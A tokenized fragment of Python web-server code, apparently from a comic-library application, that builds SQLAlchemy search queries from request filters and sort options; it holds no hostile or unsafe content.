"\\u\\u\\uNEWLINE\\u\\u\\u_", "publisher_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "publi", "sher", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credit", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "credit", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "tag", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "genre_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "genr", "e", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "folder", "\\u", "filter_", "!=_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "folder", "\\u", "filter_", "=_", "os_", "._", "path_", "._", "norm", "case_", "(_", "os_", "._", "path_", "._", "normpath_", "(_", "folder", "\\u", "filter_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "folder", "\\u", "filter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "person_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "role_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "has", "Value_", "(_", "credit", "\\u", "filter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "credit", "\\u", "info_", "=_", "credit", "\\u", "filter_", "._", "split_", "(_", "\":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "credit", "\\u", "info_", "[_", "0_", "]_", ")_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "person_", "=_", "credit", "\\u", "info_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "credit", "\\u", "info_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "role_", "=_", "credit", "\\u", "info_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "person_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "query_", "._", "join_", "(_", "Credit", "_", ")_", "._", "filter_", "(_", "Person_", "._", "name_", "._", "ili", "ke_", "(_", "person_", "._", "replace_", "(_", "\"*\"_", ",_", "\"%\"_", ")_", ")_", ")_", "._", "filter_", "(_", "Credit", "_", "._", "person", "\\u", "id_", "==_", "Person_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "role_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "query_", "._", "filter_", "(_", "Credit", "_", "._", "role", "\\u", "id_", "==_", "Role_", "._", "id_", ")_", "._", "filter_", "(_", "Role_", "._", "name_", "._", "ili", "ke_", "(_", "role_", "._", "replace_", "(_", "\"*\"_", ",_", "\"%\"_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "person", "s", ".", "contain", "s", "(", "unicode", "(", "person", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "key", "phrase", "\\u", "filter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "phrase", "\\u", "filter_", "=_", "unicode_", "(_", "key", "phrase", "\\u", "filter_", ")_", "._", "replace_", "(_", "\"*\"_", ",_", "\"%\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "phrase", "\\u", "filter_", "=_", "\"%\"_", "+_", "key", "phrase", "\\u", "filter_", "+_", "\"%\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "query_", "._", "filter_", "(_", "Com", "ic_", "._", "series_", "._", "ili", "ke_", "(_", "key", "phrase", "\\u", "filter_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "|_", "Com", "ic_", "._", "title_", "._", "ili", "ke_", "(_", "key", "phrase", "\\u", "filter_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "|_", "Com", "ic_", "._", "publisher_", "._", "ili", "ke_", "(_", "key", "phrase", "\\u", "filter_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "|_", "Com", "ic_", "._", "path_", "._", "ili", "ke_", "(_", "key", "phrase", "\\u", "filter_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "|_", "Com", "ic_", "._", "comments_", "._", "ili", "ke_", "(_", "key", "phrase", "\\u", "filter_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "|", " ", "Com", "ic", ".", "character", "s", "\\u", "raw", ".", "any", "(", "Char", "acte", "r", ".", "name", ".", "ili", "ke", "(", "key", "phrase", "\\u", "filter", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "|", " ", "Com", "ic", ".", "team", "s", "\\u", "raw", ".", "any", "(", "Tea", "m", ".", "name", ".", "ili", "ke", "(", "key", "phrase", "\\u", "filter", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "|", " ", "Com", "ic", ".", "location", "s", "\\u", "raw", ".", "any", "(", "Locat", "ion", ".", "name", ".", "ili", "ke", "(", "key", "phrase", "\\u", "filter", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "|", " ", "Com", "ic", ".", "stor", "yar", "cs", "\\u", "raw", ".", "any", "(", "Stor", "y", "Arc", ".", "name", ".", "ili", "ke", "(", "key", "phrase", "\\u", "filter", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "|_", "Com", "ic_", "._", "person", "s", "\\u", "raw_", "._", "any_", "(_", "Person_", "._", "name_", "._", "ili", "ke_", "(_", "key", "phrase", "\\u", "filter_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Query", "On", "Scalar_", "(_", "query_", ",_", "obj", "\\u", "prop_", ",_", "filt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "has", "Value_", "(_", "filt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filt_", "=_", "unicode_", "(_", "filt_", ")_", "._", "replace_", "(_", "\"*\"_", ",_", "\"%\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "query_", "._", "filter_", "(_", "obj", "\\u", "prop_", "._", "ili", "ke_", "(_", "filt_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Query", "On", "List_", "(_", "query_", ",_", "obj", "\\u", "list_", ",_", "list", "\\u", "prop_", ",_", "filt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "has", "Value_", "(_", "filt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filt_", "=_", "unicode_", "(_", "filt_", ")_", "._", "replace_", "(_", "\"*\"_", ",_", "\"%\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "query_", "._", "filter_", "(_", "obj", "\\u", "list_", "._", "any_", "(_", "list", "\\u", "prop_", "._", "ili", "ke_", "(_", "filt_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "Scalar_", "(_", "query_", ",_", "Com", "ic_", "._", "series_", ",_", "series", "\\u", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "Scalar_", "(_", "query_", ",_", "Com", "ic_", "._", "title_", ",_", "title", "\\u", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "Scalar_", "(_", "query_", ",_", "Com", "ic_", "._", "path_", ",_", "path", "\\u", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "Scalar_", "(_", "query_", ",_", "Com", "ic_", "._", "folder_", ",_", "folder", "\\u", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "Scalar_", "(_", "query_", ",_", "Com", "ic_", "._", "publisher_", ",_", "publisher_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "List_", "(_", "query_", ",_", "Com", "ic_", "._", "character", "s", "\\u", "raw_", ",_", "Character_", "._", "name_", ",_", "character_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "List_", "(_", "query_", ",_", "Com", "ic_", "._", "gener", "ict", "ags", "\\u", "raw_", ",_", "Gene", "ric", "Tag_", "._", "name_", ",_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "List_", "(_", "query_", ",_", "Com", "ic_", "._", "team", "s", "\\u", "raw_", ",_", "Team_", "._", "name_", ",_", "team_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "List_", "(_", "query_", ",_", "Com", "ic_", "._", "location", "s", "\\u", "raw_", ",_", "Location_", "._", "name_", ",_", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "List_", "(_", "query_", ",_", "Com", "ic_", "._", "stor", "yar", "cs", "\\u", "raw_", ",_", "Stor", "y", "Arc_", "._", "name_", ",_", "stor", "yar", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "add", "Query", "On", "List_", "(_", "query_", ",_", "Com", "ic_", "._", "genr", "es", "\\u", "raw_", ",_", "Genr", "e_", "._", "name_", ",_", "genre_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "series", "\\u", "filter", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "series", ".", "ili", "ke", "(", "unicode", "(", "series", "\\u", "filter", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "title", "\\u", "filter", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "title", ".", "ili", "ke", "(", "unicode", "(", "title", "\\u", "filter", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "filename", "\\u", "filter", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "path", ".", "ili", "ke", "(", "unicode", "(", "filename", "\\u", "filter", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "publi", "sher", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "publi", "sher", ".", "ili", "ke", "(", "unicode", "(", "publi", "sher", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "character", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "character", "s", "\\u", "raw", ".", "any", "(", "Char", "acte", "r", ".", "name", ".", "ili", "ke", "(", "unicode", "(", "character", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", ")))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "tag", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "gener", "ict", "ags", ".", "contain", "s", "(", "unicode", "(", "tag", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "team", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "team", "s", ".", "contain", "s", "(", "unicode", "(", "team", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "location", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "location", "s", ".", "contain", "s", "(", "unicode", "(", "location", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "stor", "yar", "c", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "stor", "yar", "cs", ".", "contain", "s", "(", "unicode", "(", "stor", "yar", "c", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "has", "Value", "(", "genr", "e", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "query", " ", "=", " ", "query", ".", "filter", "(", " ", "Com", "ic", ".", "genr", "es", ".", "contain", "s", "(", "unicode", "(", "genr", "e", ").", "replace", "(\"", "*\"", ",\"", "%", "\")", " ", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "has", "Value_", "(_", "volume_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vol_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vol_", "=_", "int_", "(_", "volume_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "query_", "._", "filter_", "(_", "Com", "ic_", "._", "volume_", "==_", "vol_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "start", "\\u", "filter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dt_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "start", "\\u", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "query_", "._", "filter_", "(_", "Com", "ic_", "._", "date_", ">=_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "end", "\\u", "filter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dt_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "end", "\\u", "filter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "query_", "._", "filter_", "(_", "Com", "ic_", "._", "date_", "<=_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "modifi", "ed", "\\u", "since_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dt_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "modifi", "ed", "\\u", "since_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results", "et_", "=_", "results", "et_", "._", "filter_", "(_", "Com", "ic_", "._", "mod", "\\u", "ts_", ">=_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "adde", "d\\u", "since_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dt_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "adde", "d\\u", "since_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "query_", "._", "filter_", "(_", "Com", "ic_", "._", "adde", "d\\u", "ts_", ">=_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "lastr", "ead", "\\u", "since_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dt_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "lastr", "ead", "\\u", "since_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "query_", "._", "filter_", "(_", "Com", "ic_", "._", "lastr", "ead", "\\u", "ts_", ">=_", "dt_", ",_", "Com", "ic_", "._", "lastr", "ead", "\\u", "ts_", "!=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "order", "\\u", "key_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "AT", "B", " ", "temp", " ", "hack", " ", "to", " ", "cover", " ", "\"", "slicing", "\"", " ", "bug", " ", "where_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "no", " ", "order", " ", "specified", ",", " ", "the", " ", "child", " ", "collections_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "chop", "ped", " ", "off", " ", "somet", "imes_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "has", "Value_", "(_", "order_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order_", "=_", "\"", "id", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "has", "Value_", "(_", "order_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "order_", "[_", "0_", "]_", "==_", "\"-\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "desc_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "=_", "order_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "desc_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "order_", "==_", "\"", "id", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "order_", "==_", "\"", "series", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "series_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "modifi", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "mod", "\\u", "ts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "adde", "d", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "adde", "d\\u", "ts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "lastr", "ead", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "lastr", "ead", "\\u", "ts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "volume", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "volume_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "issue", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "issue", "\\u", "num_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "date", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "publi", "sher", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "publisher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "title", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "order_", "==_", "\"", "path", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "Com", "ic_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "order", "\\u", "key_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "order", "\\u", "desc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order", "\\u", "key_", "=_", "order", "\\u", "key_", "._", "desc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query_", "=_", "query_", "._", "order", "\\u", "by_", "(_", "order", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fold", "er", "API", "Handler_", "(_", "JSONR", "esult", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "validat", "e", "API", "Key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "=_", "self_", "._", "application_", "._", "dm_", "._", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "is_", "not_", "None_", ":_", 